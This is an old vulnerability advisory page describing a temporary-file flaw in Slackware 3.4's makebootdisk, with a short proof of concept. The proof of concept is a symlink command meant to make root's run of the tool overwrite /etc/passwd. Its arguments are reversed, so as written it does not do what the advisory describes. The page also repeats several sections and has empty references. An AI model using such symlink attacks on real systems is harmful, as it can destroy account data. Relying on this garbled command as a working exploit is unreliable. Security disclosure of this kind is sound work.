Slackware makebootdisk temporary file Vulnerability
BID:78
Info
Slackware makebootdisk temporary file Vulnerability
| Bugtraq ID: | 78 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Unknown |
| Published: | Apr 06 1998 12:00AM |
| Updated: | Apr 06 1998 12:00AM |
| Credit: | Made public by neonhaze <[email protected]> and <[email protected]> in the BugTraq mailing list. |
| Vulnerable: |
Slackware Linux 3.4 |
| Not Vulnerable: | |
Exploit / POC
Slackware makebootdisk temporary file Vulnerability
$ ln -s /tmp/return /etc/passwd
< wait for root to run makebootdisk >
$ ln -s /tmp/return /etc/passwd
< wait for root to run makebootdisk >
Solution / Fix
Slackware makebootdisk temporary file Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Slackware makebootdisk temporary file Vulnerability
References:
References: